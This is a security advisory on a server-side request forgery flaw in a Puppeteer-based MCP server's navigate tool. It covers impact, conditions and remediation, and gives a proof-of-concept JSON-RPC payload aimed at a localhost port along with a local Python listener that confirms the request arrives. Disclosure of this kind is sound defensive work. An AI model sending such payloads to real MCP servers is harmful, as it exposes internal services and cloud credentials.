# Vulnerability Summary: GlutamateMCPservers Server-Side Request Forgery (SSRF) ## 1. Vulnerability Overview * **Vulnerability Type**: Server-Side Request Forgery (SSRF) - CWE-918 * **Affected Component**: File `src/puppeteer/index.ts` in `@glutamateapp/puppeteer`. * **Vulnerability Description**: The `puppeteer_navigate` MCP tool accepts a user-provided URL parameter and passes it directly to `page.goto` without any validation or whitelist filtering. An attacker can exploit this vulnerability to control the headless browser to access arbitrary targets, leading to internal service exposure, cloud metadata theft, or internal network reconnaissance. * **CVSS Score**: 10.0 (Critical) ## 2. Impact Scope * **Affected Versions**: Commit `a2b6732` (latest commit) and refactored versions containing the same request-to-sink flow. * **Exploitation Conditions**: * Attacker must be able to call the MCP/HTTP interface. * Server must have outbound network access. * If SSRF protections exist, they must be bypassed or ineffective against the attacker-chosen internal target. ## 3. Remediation Measures * Implement strict URL whitelisting (restrict scheme/host/port/path). * Perform backtracking checks after DNS resolution and redirects. * Add authentication, authorization, logging, and rate limiting to sensitive MCP/HTTP handlers. * Eliminate the data flow from request to sink, or add input schema validation at the boundary. ## 4. Proof of Concept (POC) Code **JSON Request Payload:** ```json {"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"puppeteer_navigate","arguments":{"url":"http://127.0.0.1:8000"}}} ``` **Server Response Log (Python Example):** ```python from http.server import BaseHTTPRequestHandler, HTTPServer import json class Handler(BaseHTTPRequestHandler): def _reply(self): length = int(self.headers.get("Content-Length", 0)) body = self.rfile.read(length) if length else b"" print("=== Incoming Request ===") print("Client:", self.client_address) print("Method:", self.command) print("Path:", self.path) print("Headers:", self.headers) if body: print("Body:", body.decode("utf-8", errors="replace")) resp = { "ok": True, "method": self.command, "path": self.path, "message": "Local test server reached" } data = json.dumps(resp).encode() self.send_response(200) self.send_header("Content-Type", "application/json") self.send_header("Content-Length", str(len(data))) self.end_headers() self.wfile.write(data) def do_GET(self): self._reply() def do_POST(self): self._reply() if __name__ == "__main__": server = HTTPServer(("127.0.0.1", 8000), Handler) print("Listening on http://127.0.0.1:8000") server.serve_forever() ```